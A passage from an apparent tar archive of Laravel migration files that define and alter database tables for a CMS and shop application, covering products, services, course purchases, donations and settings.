AddProductsSectionInBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->tinyInteger('products_section')->default(1)->comment('1 - active, 0 - deactive'); $table->tinyInteger('categories_section')->default(1)->comment('1 - active, 0 - deactive'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn(['products_section','categories_section']); }); } } migrations/2021_02_03_151505_add_slug_in_articles.php 0000644 00000001227 15213355333 0015663 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddSlugInArticles extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('articles', function (Blueprint $table) { $table->string('slug', 255)->after('title')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('articles', function (Blueprint $table) { $table->dropColumn('slug'); }); } } migrations/2020_03_14_172021_create_quote_input_options_table.php 0000644 00000001345 15213355333 0020345 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateQuoteInputOptionsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('quote_input_options', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('quote_input_id')->nullable(); $table->string('name', 255)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('quote_input_options'); } } migrations/2020_04_19_101608_create_product_images_table.php 0000644 00000001317 15213355333 0017233 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateProductImagesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('product_images', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('product_id')->nullable(); $table->string('image')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('product_images'); } } migrations/2021_04_08_060033_add_category_id_column_to_galleries_table.php 0000644 00000001164 15213355333 0022105 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCategoryIdColumnToGalleriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('galleries', function (Blueprint $table) { $table->unsignedBigInteger('category_id')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('galleries', function (Blueprint $table) { $table->dropColumn('category_id'); }); } } migrations/2020_04_04_175705_add_feature_to_scategories.php 0000644 00000001326 15213355333 0017074 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddFeatureToScategories extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('scategories', function (Blueprint $table) { $table->tinyInteger('feature')->default(0)->comment('0 - will not show in home, 1 - will show in home'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('scategories', function (Blueprint $table) { $table->dropColumn('feature'); }); } } migrations/2020_05_10_155934_create_conversations_table.php 0000644 00000001456 15213355333 0017132 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateConversationsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('conversations', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('user_id')->nullable(); $table->integer('ticket_id')->nullable(); $table->text('reply')->nullable(); $table->string('file')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('conversations'); } } migrations/2021_01_25_094403_create_queue_jobs_table.php 0000644 00000001555 15213355333 0016372 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateQueueJobsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('queue_jobs', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('queue')->index(); $table->longText('payload'); $table->unsignedTinyInteger('attempts'); $table->unsignedInteger('reserved_at')->nullable(); $table->unsignedInteger('available_at'); $table->unsignedInteger('created_at'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('queue_jobs'); } } migrations/2020_09_24_121000_create_article_categories_table.php 0000644 00000001330 15213355333 0020036 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateArticleCategoriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('article_categories', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id'); $table->string('name'); $table->tinyInteger('status')->default(1); $table->integer('serial_number'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('article_categories'); } } migrations/2021_01_17_094042_drop_cols_from_product_orders.php 0000644 00000001231 15213355333 0017653 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropColsFromProductOrders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('product_orders', function (Blueprint $table) { $table->dropColumn(['type', 'download_file', 'download_link']); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('product_orders', function (Blueprint $table) { // }); } } migrations/2020_06_12_104858_make_breadcrumbs_nullable.php 0000644 00000002425 15213355333 0016706 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class MakeBreadcrumbsNullable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->string('product_title', 255)->nullable()->change(); $table->string('product_subtitle', 255)->nullable()->change(); $table->string('product_details_title', 255)->nullable()->change(); $table->string('cart_title', 255)->nullable()->change(); $table->string('cart_subtitle', 255)->nullable()->change(); $table->string('checkout_title', 255)->nullable()->change(); $table->string('checkout_subtitle', 255)->nullable()->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn(['product_title', 'product_subtitle', 'product_details_title', 'product_details_subtitle', 'cart_title', 'cart_subtitle', 'checkout_title', 'checkout_subtitle']); }); } } migrations/2021_04_10_052120_add_package_category_status_to_basic_settings_extra_table.php 0000644 00000001245 15213355333 0025356 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddPackageCategoryStatusToBasicSettingsExtraTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->unsignedTinyInteger('package_category_status'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('package_category_status'); }); } } migrations/2020_04_17_100928_add_is_quote_to_basic_settings.php 0000644 00000001243 15213355333 0017757 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddIsQuoteToBasicSettings extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->tinyInteger('is_quote')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn('is_quote'); }); } } migrations/2021_04_24_081952_make_course_purchases_cols_nullable.php 0000644 00000002131 15213355333 0021005 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class MakeCoursePurchasesColsNullable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('course_purchases', function (Blueprint $table) { $table->integer('user_id')->nullable()->change(); $table->string('order_number')->nullable()->change(); $table->string('first_name')->nullable()->change(); $table->string('last_name')->nullable()->change(); $table->string('email')->nullable()->change(); $table->integer('course_id')->nullable()->change(); $table->string('payment_method')->nullable()->change(); $table->string('payment_status')->nullable()->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('course_purchases', function (Blueprint $table) { // }); } } migrations/2020_04_01_153442_add_rss_title_to_basic_settings_extended.php 0000644 00000001342 15213355333 0022007 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddRssTitleToBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->string('rss_title', 255)->after('event_calendar_subtitle')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn('rss_title'); }); } } migrations/2020_05_06_090943_create_product_reviews_table.php 0000644 00000001471 15213355333 0017461 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateProductReviewsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('product_reviews', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('user_id')->nullable(); $table->integer('product_id')->nullable(); $table->integer('review')->nullable(); $table->text('comment')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('product_reviews'); } } migrations/2020_10_28_081718_add_sidebar_to_services.php 0000644 00000001264 15213355333 0016371 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddSidebarToServices extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('services', function (Blueprint $table) { $table->tinyInteger('sidebar')->default(1)->comment('1 - enable, 0 - disable'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('services', function (Blueprint $table) { $table->dropColumn('sidebar'); }); } } migrations/2021_04_08_095555_drop_announcement_cols_to_basic_settings.php 0000644 00000001262 15213355333 0022070 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropAnnouncementColsToBasicSettings extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn(['announcement', 'is_announcement', 'announcement_delay']); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { // }); } } migrations/2020_04_09_151601_add_from_mail_to_basic_settings_extended.php 0000644 00000001300 15213355333 0021741 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddFromMailToBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->string('from_mail', 255)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn('from_mail'); }); } } migrations/2020_07_24_061432_drop_receipt_col_from_offline_gateways.php 0000644 00000001255 15213355333 0021501 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropReceiptColFromOfflineGateways extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('offline_gateways', function (Blueprint $table) { $table->dropColumn('receipt'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('offline_gateways', function (Blueprint $table) { $table->string('receipt', 100)->nullable(); }); } } migrations/2021_01_11_060318_drop_homes_table.php 0000644 00000000701 15213355333 0015026 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropHomesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::dropIfExists('homes'); } /** * Reverse the migrations. * * @return void */ public function down() { // } } migrations/2020_11_05_080538_add_invoice_to_course_purchases_table.php 0000644 00000001153 15213355333 0021305 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddInvoiceToCoursePurchasesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('course_purchases', function (Blueprint $table) { $table->string('invoice')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('course_purchases', function (Blueprint $table) { $table->dropColumn('invoice'); }); } } migrations/2020_07_24_140620_add_receipt_to_package_orders.php 0000644 00000001241 15213355333 0017522 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddReceiptToPackageOrders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('package_orders', function (Blueprint $table) { $table->string('receipt', 100)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('package_orders', function (Blueprint $table) { $table->dropColumn('receipt'); }); } } migrations/2020_03_14_182025_create_socials_table.php 0000644 00000001315 15213355333 0015655 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateSocialsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('socials', function (Blueprint $table) { $table->bigIncrements('id'); $table->text('icon')->nullable(); $table->string('url', 255)->nullable(); $table->integer('serial_number')->default(0); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('socials'); } } migrations/2020_07_22_035105_create_offline_gateways.php 0000644 00000002056 15213355333 0016401 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateOfflineGateways extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('offline_gateways', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->nullable(); $table->string('name', '100')->nullable(); $table->text('short_description')->nullable(); $table->binary('instructions')->nullable(); $table->tinyInteger('status')->default(1); $table->integer('serial_number')->default(0); $table->tinyInteger('is_receipt')->default(1); $table->string('receipt', 100)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('offline_gateways'); } } migrations/2020_05_03_163528_mail_verification_users__table.php 0000644 00000001353 15213355333 0017752 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class MailVerificationUsersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('users', function (Blueprint $table) { $table->integer('status')->default(0); $table->text('verification_link')->nullable(0); $table->string('email_verified',20)->default('no'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('users', function (Blueprint $table) { // }); } } migrations/2020_04_17_092309_drop_availability_columns_from_basic_settings.php 0000644 00000002243 15213355333 0023102 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropAvailabilityColumnsFromBasicSettings extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn(['is_service', 'is_portfolio', 'is_team', 'is_gallery', 'is_faq', 'is_blog', 'is_contact', 'is_quote']); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->tinyInteger('is_service')->default(1); $table->tinyInteger('is_portfolio')->default(1); $table->tinyInteger('is_team')->default(1); $table->tinyInteger('is_gallery')->default(1); $table->tinyInteger('is_faq')->default(1); $table->tinyInteger('is_blog')->default(1); $table->tinyInteger('is_contact')->default(1); $table->tinyInteger('is_quote')->default(1); }); } } migrations/2020_04_03_161254_add_overlay_to_basic_settings_extended.php 0000644 00000002552 15213355333 0021466 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddOverlayToBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->string('hero_overlay_color', 20)->nullable(); $table->decimal('hero_overlay_opacity', 2, 2)->nullable(); $table->string('statistics_overlay_color', 20)->nullable(); $table->decimal('statistics_overlay_opacity', 2, 2)->nullable(); $table->string('team_overlay_color', 20)->nullable(); $table->decimal('team_overlay_opacity', 2, 2)->nullable(); $table->string('cta_overlay_color', 20)->nullable(); $table->decimal('cta_overlay_opacity', 2, 2)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn(['hero_overlay_color', 'hero_overlay_opacity', 'statistics_overlay_color', 'statistics_overlay_opacity', 'team_overlay_color', 'team_overlay_opacity', 'cta_overlay_color', 'cta_overlay_opacity']); }); } } migrations/2020_10_01_134839_create_donation_details_table.php 0000644 00000002623 15213355333 0017547 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateDonationDetailsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('donation_details', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name')->nullable()->default('anonymous'); $table->string('email')->nullable()->default('anonymous'); $table->string('phone')->nullable()->default('xxxxxxxxxxxx'); $table->double('amount')->default(0.00); $table->string('currency'); $table->string('currency_symbol'); $table->string('payment_method'); $table->string('transaction_id'); $table->string('status')->nullable(); $table->longText('receipt')->nullable(); $table->longText('transaction_details')->nullable(); $table->longText('bex_details')->nullable(); $table->unsignedBigInteger('donation_id'); $table->foreign('donation_id')->references('id')->on('donations'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('donation_details'); } } migrations/2020_04_03_180227_increase_opacity_col_length.php 0000644 00000002617 15213355333 0017254 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class IncreaseOpacityColLength extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->decimal('hero_overlay_opacity', 8, 2)->nullable()->change(); $table->decimal('statistics_overlay_opacity', 8, 2)->nullable()->change(); $table->decimal('team_overlay_opacity', 8, 2)->nullable()->change(); $table->decimal('cta_overlay_opacity', 8, 2)->nullable()->change(); $table->decimal('breadcrumb_overlay_opacity', 8, 2)->nullable()->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->decimal('hero_overlay_opacity', 2, 2)->nullable()->change(); $table->decimal('statistics_overlay_opacity', 2, 2)->nullable()->change(); $table->decimal('team_overlay_opacity', 2, 2)->nullable()->change(); $table->decimal('cta_overlay_opacity', 2, 2)->nullable()->change(); $table->decimal('breadcrumb_overlay_opacity', 2, 2)->nullable()->change(); }); } } migrations/2021_03_25_045506_drop_contact_page_infos.php 0000644 00000001217 15213355333 0016405 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class DropContactPageInfos extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn(['contact_address', 'contact_number']); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { // }); } } migrations/2020_03_27_193756_add_method_in_package_orders.php 0000644 00000001273 15213355333 0017361 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddMethodInPackageOrders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('package_orders', function (Blueprint $table) { $table->string('method', 20)->after('package_description')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('package_orders', function (Blueprint $table) { $table->dropColumn('method'); }); } } migrations/2021_01_31_092208_add_breadcrumb_heading_to_basic_settings_extra.php 0000644 00000001570 15213355333 0023115 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddBreadcrumbHeadingToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->string('course_title', 255)->nullable(); $table->string('course_subtitle', 255)->nullable(); $table->string('course_details_title', 255)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn(['course_title', 'course_subtitle', 'course_details_title']); }); } } migrations/2020_03_14_142235_create_packages_table.php 0000644 00000002027 15213355333 0015776 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePackagesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('packages', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('title', 255)->nullable(); $table->string('currency', 20)->default(0); $table->decimal('price', 11, 2)->nullable(); $table->binary('description')->nullable(); $table->integer('serial_number')->default(0); $table->text('meta_keywords')->nullable(); $table->text('meta_description')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('packages'); } } migrations/2020_03_31_144619_add_details_page_status_to_services.php 0000644 00000001326 15213355333 0020777 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddDetailsPageStatusToServices extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('services', function (Blueprint $table) { $table->tinyInteger('details_page_status')->default(1)->comment('1 - enable, 0 - disable'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('services', function (Blueprint $table) { $table->dropColumn('details_page_status'); }); } } migrations/2020_07_27_090238_add_slug_to_bcategories.php 0000644 00000001237 15213355333 0016400 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddSlugToBcategories extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('bcategories', function (Blueprint $table) { $table->string('slug', 255)->after('name')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('bcategories', function (Blueprint $table) { $table->dropColumn('slug'); }); } } migrations/2021_01_24_073829_add_recurring_billing_cols_to_basic_settings_extra.php 0000644 00000001562 15213355333 0024063 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddRecurringBillingColsToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('recurring_billing')->default(1)->comment('1 - active, 0 - deactive'); $table->string('package_duration', 50)->default('monthly')->comment('monthly, yearly'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn(['recurring_billing', 'package_duration']); }); } } migrations/2021_01_29_170622_add_ips_to_basic_settings.php 0000644 00000001216 15213355333 0016721 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddIpsToBasicSettings extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->text('ips')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn('ips'); }); } } migrations/2021_03_24_064151_create_push_subscriptions_table.php 0000644 00000001725 15213355333 0020174 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePushSubscriptionsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('push_subscriptions', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('subscribable_id')->nullable(); $table->string('subscribable_type', 255)->nullable(); $table->string('endpoint', 500); $table->string('public_key', 255)->nullable(); $table->string('auth_token', 255)->nullable(); $table->string('content_encoding', 255)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('push_subscriptions'); } } migrations/2021_04_06_085343_add_faq_category_status_column_to_basic_settings_extra_table.php 0000644 00000001237 15213355333 0026132 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddFaqCategoryStatusColumnToBasicSettingsExtraTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->unsignedTinyInteger('faq_category_status'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('faq_category_status'); }); } } migrations/2020_04_04_164347_add_feature_col_to_members.php 0000644 00000001315 15213355333 0017051 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddFeatureColToMembers extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('members', function (Blueprint $table) { $table->tinyInteger('feature')->default(0)->comment('0 - will not show in home, 1 - will show in home'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('members', function (Blueprint $table) { $table->dropColumn('feature'); }); } } migrations/2020_06_21_155024_create_basic_settings_extra.php 0000644 00000001357 15213355333 0017263 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('basic_settings_extra', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(1); $table->tinyInteger('is_shop')->default(1); $table->tinyInteger('is_ticket')->default(1); $table->tinyInteger('is_user_panel')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('basic_settings_extra'); } } migrations/2020_04_19_155335_add_shop_settings_cols_t_basic_settings_extended.php 0000644 00000001245 15213355333 0023547 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddShopSettingsColsTBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->text('popular_tags')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { // }); } } migrations/2020_10_14_040234_create_lessons_table.php 0000644 00000001337 15213355333 0015703 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateLessonsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('lessons', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('module_id'); $table->string('name'); $table->string('video_file')->nullable(); $table->string('video_link')->nullable(); $table->string('duration'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('lessons'); } } migrations/2020_04_29_102816_create_order_items_table.php 0000644 00000002310 15213355333 0016537 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateOrderItemsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('order_items', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('product_order_id')->nullable; $table->integer('product_id')->nullable; $table->integer('user_id')->nullable; $table->string('title')->nullable; $table->string('sku')->nullable; $table->integer('qty')->nullable; $table->string('category')->nullable; $table->string('image')->nullable; $table->text('summary')->nullable; $table->text('description')->nullable; $table->decimal('price', 11, 2)->nullable(); $table->decimal('previous_price', 11, 2)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('order_items'); } } migrations/2020_04_09_170024_smtp_encryption_to_encryption.php 0000644 00000001327 15213355333 0017743 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class SmtpEncryptionToEncryption extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->renameColumn('smtp_encryption', 'encryption'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->renameColumn('encryption', 'smtp_encryption'); }); } } migrations/2020_03_14_175054_create_services_table.php 0000644 00000002051 15213355333 0016045 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateServicesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('services', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->integer('scategory_id')->nullable(); $table->string('main_image', 255)->nullable(); $table->string('title', 255)->nullable(); $table->string('slug', 255)->nullable(); $table->binary('content')->nullable(); $table->integer('serial_number')->default(0); $table->text('meta_keywords')->nullable(); $table->text('meta_description')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('services'); } } migrations/2020_03_14_183748_create_ulinks_table.php 0000644 00000001317 15213355333 